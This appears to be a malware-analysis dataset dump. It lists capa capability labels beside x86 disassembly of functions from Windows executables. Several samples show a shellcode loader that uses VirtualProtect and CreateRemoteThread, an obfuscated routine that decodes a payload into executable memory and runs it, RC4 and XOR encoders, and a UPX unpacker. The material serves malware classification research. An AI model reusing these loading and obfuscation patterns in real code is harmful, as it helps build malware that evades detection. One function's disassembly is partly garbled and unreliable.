joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024e8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x220]
mov ebp, 0x100
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x14], cl
cdq
idiv dword [esp + 0x228]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, ebp
jl 0x40251b
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x14]
movzx eax, byte [esp + esi + 0x114]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x40255f
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + esi + 0x14], al
inc esi
mov byte [esp + ebx + 0x14], dl
cmp esi, ebp
jl 0x40253c
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x220], ebx
jle 0x4025ea
inc edi
and edi, 0x800000ff
jns 0x40258e
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x14]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4025a7
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
push 0x423378
mov byte [esp + edi + 0x18], al
push 0x42e158
mov byte [esp + ebx + 0x1c], cl
call fcn.00401150
push eax
call fcn.00401b37
movzx eax, byte [esp + edi + 0x20]
add esp, 0xc
mov ecx, dword [esp + 0x10]
add eax, esi
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x220]
jl 0x40257d
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004061fd
add esp, 0x208
ret

Function at 0x40308e
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x4030c7
xor byte [edi + esi], 0x73
push 0
push 0
call dword [sym.imp.GDI32.DLL_GetClipBox]
mov al, byte [edi + esi]
sub al, 0x6c
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x40309c
pop edi
pop esi
ret
Function at 0x403d2f
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push edi
xor esi, esi
mov dword [ebp - 0x14], ebx
push 0x423384
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
call fcn.00403e00
and dword [ebp - 4], ebx
pop ecx
pop ecx
cmp esi, edi
je 0x403d66
and dword [esi], 0
add esi, 4
mov dword [ebp - 0x10], esi
jmp 0x403d7c
lea eax, [ebp - 4]
push eax
push esi
lea ecx, [ebp - 0x14]
call fcn.004014e5
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
push dword [ebx]
mov ecx, 0x42e098
call fcn.004021de
push eax
call fcn.00401b37
mov eax, esi
sub eax, ebx
and eax, 0xfffffffc
pop ecx
cmp eax, 0x190
jne 0x403d57
lea eax, [ebp - 8]
xor esi, esi
push eax
push 0x40
push 0x4ac
push 0x45ec30
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push esi
push esi
push 0x40307c
push esi
push esi
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.00403062
mov edx, 0x45ec30
add edx, 0x188
mov esi, 0x42f030
push esi
call edx
sub edi, ebx
and edi, 0xfffffffc
push edi
push ebx
call fcn.004014b9
pop ecx
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x4069b0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4069ef
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4069ef
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4069ef
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4069ef
cmp dword [ecx + 0x74], 0xe
jbe 0x4069ef
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x414aa4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x427210
push 0x427208
push 0x424cdc
push 0x1e
call fcn.00414911
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414ad8
push dword [ebp + 8]
mov ecx, esi
call dword [0x423144]
call esi
jmp 0x414ade
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x417e4d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417cbe

Function at 0x418247
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00406d20
mov eax, dword [0x42d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00415fc8
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x418289
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4183e5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00421fd0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x42ead0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041923e
mov ecx, dword [esi*4 + 0x42ead0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4183de
cmp eax, dword [edi + ecx + 0x24]
jne 0x4183de
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4183de
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041923e
add esp, 0x14
test edx, edx
jl 0x4183de
jg 0x418354
test eax, eax
jb 0x4183de
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4183de
jl 0x41836e
cmp dword [ebp - 0x1008], eax
ja 0x4183de
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41838c
test ebx, ebx
je 0x4183c5
cmp ecx, edi
jae 0x4183c5
mov al, byte [ecx]
cmp al, 0xd
jne 0x4183a6
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4183b2
cmp byte [ecx + 1], 0xa
jne 0x4183b2
inc ecx
jmp 0x4183b2
movzx eax, al
movsx eax, byte [eax + 0x42d318]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41838c
cmp edx, ebx
jne 0x41838c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4183e3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004061fd
leave
ret
Function at 0x4186dc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x42ead0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41871c
cmp byte [ebx], 0xa
jne 0x41871c
or byte [eax + edi + 0x28], 4
jmp 0x418721
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41881f
mov al, byte [edx]
cmp al, 0x1a
je 0x418801
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x418750
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x418775
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41877f
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x418732
jmp 0x41881f
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4187fc
cmp dword [ebp - 0xc], 0
je 0x4187fc
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x42ead0]
test byte [eax + edi + 0x28], 0x48
je 0x4187d6
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4187c1
mov byte [esi], dl
jmp 0x4187d2
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x42ead0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41881f
cmp byte [ebp - 1], 0xa
jne 0x4187e5
cmp esi, ebx
jne 0x4187e5
mov byte [esi], 0xa
jmp 0x41881e
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041925c
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41881f
mov byte [esi], 0xd
jmp 0x41881e
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x42ead0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41881b
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41881f
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x418828
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x42ead0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41886b
cmp word [esi], dx
jne 0x41886b
or byte [edi + eax + 0x28], 4
jmp 0x418870
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4189c3
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4189a3
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4188b2
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4188e8
cmp eax, edx
jae 0x4188f4
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41888a
jmp 0x4189c3
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41899f
cmp dword [ebp - 0x14], 0
je 0x41899f
mov eax, dword [ebx*4 + 0x42ead0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x418977
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x418940
mov word [esi], cx
jmp 0x418973
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x42ead0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x42ead0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x42ead0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4189c3
pop ebx
cmp word [ebp - 4], bx
jne 0x418988
cmp esi, dword [ebp + 0xc]
jne 0x418988
mov word [esi], bx
jmp 0x4189c0
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041925c
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4189c3
push 0xd
jmp 0x4189bc
mov ecx, dword [ebx*4 + 0x42ead0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4189ba
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4189c3
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41ab29
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41abc6
push ebx
push esi
call fcn.0041aaf2
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00419777
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41ab73
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41abc5
push edi
push eax
call fcn.004150d7
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41ab93
call fcn.00414636
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41abc4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00419777
add esp, 0x20
test eax, eax
jne 0x41abb2
push edi
call fcn.00414636
jmp 0x41abba
push ebx
call fcn.00414636
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x421dd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x421dfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x421dfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405334
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x405343
pop dword [ebp - 0x38]
mov eax, 0x405343
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x8634a35d
add dword [ebp - 0x48], 0xc81da1ee
mov dword [ebp - 0x44], 0x8666f17c
sub dword [ebp - 0x44], 0x5433a537
mov dword [ebp - 0x40], 0xfd436d99
sub dword [ebp - 0x40], 0xb0f7296b
mov dword [ebp - 0x3c], 0x85af1590
add dword [ebp - 0x3c], 0x7a50ea70
lea eax, [ebp - 0x48]
push eax
mov eax, 0x5587b8e4
sub eax, 0x554718d8
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x90c2c9cc
sub dword [ebp - 0x48], 0x1c506076
mov dword [ebp - 0x44], 0x9cf54304
sub dword [ebp - 0x44], 0x5b88e18f
mov dword [ebp - 0x40], 0xf62850ab
add dword [ebp - 0x40], 0x6d471bc1
mov dword [ebp - 0x3c], 0x6ea169bb
add dword [ebp - 0x3c], 0x915e9645
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38948
push 0
call eax
mov ecx, 0x5bb2dab4
sub ecx, 0x5bb293b0
xor edi, edi
add edi, eax
mov ebx, 0xa51895d9
add ebx, 0x5b2b2827
add ebx, dword [ebp - 0x38]
mov edx, 0xbde0b4c9
add edx, 0xd3be36ff
xor dword [ebp - 0x10], ecx
mov esi, dword [ebx]
sub dword [ebp - 0x14], ebx
xor esi, edx
mov dword [edi], esi
xor dword [ebp - 0x10], 0x9081b483
add edi, 0x8902582f
add edi, 0x76fda7d5
add ebx, 0xfa962779
add ebx, 0x569d88b
loop 0x40545d
add eax, 0x10ee3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe3ecafed
add ecx, 0x1c535013
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x40d3d8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418418]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408a8b
mov dword [ebp - 0x14], eax
cmp dword [0x42f904], esi
jne 0x40d4cb
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d458
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d5ab
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d5ab
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d5ab
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42f904], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42f908], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42f90c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f914], eax
test eax, eax
je 0x40d4c8
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42f910], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d4f0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d4e3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d505
push 4
pop eax
jmp 0x40d5ad
cmp dword [ebp - 0x14], esi
je 0x40d505
push dword [0x42f904]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d4ea
mov eax, dword [0x42f910]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d563
cmp dword [0x42f914], edi
je 0x40d563
push eax
call ebx
push dword [0x42f914]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d563
test eax, eax
je 0x40d563
call ecx
test eax, eax
je 0x40d558
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d558
test byte [ebp - 8], 1
jne 0x40d563
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d593
mov eax, dword [0x42f908]
cmp eax, edi
je 0x40d590
push eax
call ebx
test eax, eax
je 0x40d590
call eax
mov esi, eax
test esi, esi
je 0x40d590
mov eax, dword [0x42f90c]
cmp eax, edi
je 0x40d590
push eax
call ebx
test eax, eax
je 0x40d590
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42f904]
call ebx
test eax, eax
je 0x40d5ab
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d5ad
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f8b
mov esp, ebp
pop ebp
ret
Function at 0x456a30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x42000]
push edi
jmp 0x456a4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x456a51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x456a40
mov eax, 1
add ebx, ebx
jne 0x456a63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x456a74
jne 0x456a93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x456a93
dec eax
add ebx, ebx
jne 0x456a80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x456a58
add ebx, ebx
jne 0x456a8f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x456ae5
xor ecx, ecx
sub eax, 3
jb 0x456aab
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x456b1a
sar eax, 1
mov ebp, eax
jmp 0x456ab6
add ebx, ebx
jne 0x456ab6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x456a84
inc ecx
add ebx, ebx
jne 0x456ac4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x456a84
add ebx, ebx
jne 0x456ad1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x456ac6
jne 0x456ae2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x456ac6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x456b04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x456af6
jmp 0x456a46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x456b04
add edi, ecx
jmp 0x456a46
pop esi
mov edi, esi
mov ecx, 0x2d3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x456b22
cmp byte [edi], 1
jne 0x456b22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x456b27
lea edi, [esi + 0x54000]
mov eax, dword [edi]
or eax, eax
je 0x456b9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x696c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6973c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x456b54
mov ecx, edi
jns 0x456b83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x69740]
or eax, eax
je 0x456b99
mov dword [ebx], eax
add ebx, 4
jmp 0x456b71
call dword [esi + 0x69750]
mov ebp, dword [esi + 0x69744]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x456bd3
sub esp, 0xffffff80
jmp 0x40b10f
Function at 0x446fa8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x8c], 0
je 0x446fdd
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403c40
jmp 0x446fe7
mov eax, esi
mov edx, dword [ebx + 0x74]
call fcn.00403bf4
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x447ed4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x6c]
test esi, esi
je 0x447f0c
mov eax, esi
call fcn.00430ee8
test al, al
je 0x447f0c
mov eax, dword [ebx + 0x6c]
call fcn.00430ac0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x447f0c
push 0
mov eax, dword [ebx + 0x6c]
call fcn.00430ac0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x4538f4
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4538a6
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4538c4
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x453922
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
add byte [eax], al
and byte [ecx + 0x1065], al
invalid
invalid
add byte [eax], al
and byte [ecx + 0x1065], al
add byte [eax + 0x3b184d8b], al
sal dword [esp + eax - 0x80], cl
or al, 8
add dword [ecx], edi
pop ebp
or byte [esp + eax - 0x80], dh
or al, 8
add bh, byte [ecx]
pop ebp
adc byte [ebp + eax + 3], dh
enter 0x980, 4
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x453909
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x453912
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x45391c
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4538fe
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x453888
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x45396f
dec eax
je 0x453966
sub eax, 3
je 0x45395d
mov dword [ebp - 4], 0x40
jmp 0x45398c
mov dword [ebp - 4], 4
jmp 0x453972
mov dword [ebp - 4], 0x20
jmp 0x453972
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4539be
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x45393e
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004531cf
clc
retf 0x22e2
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret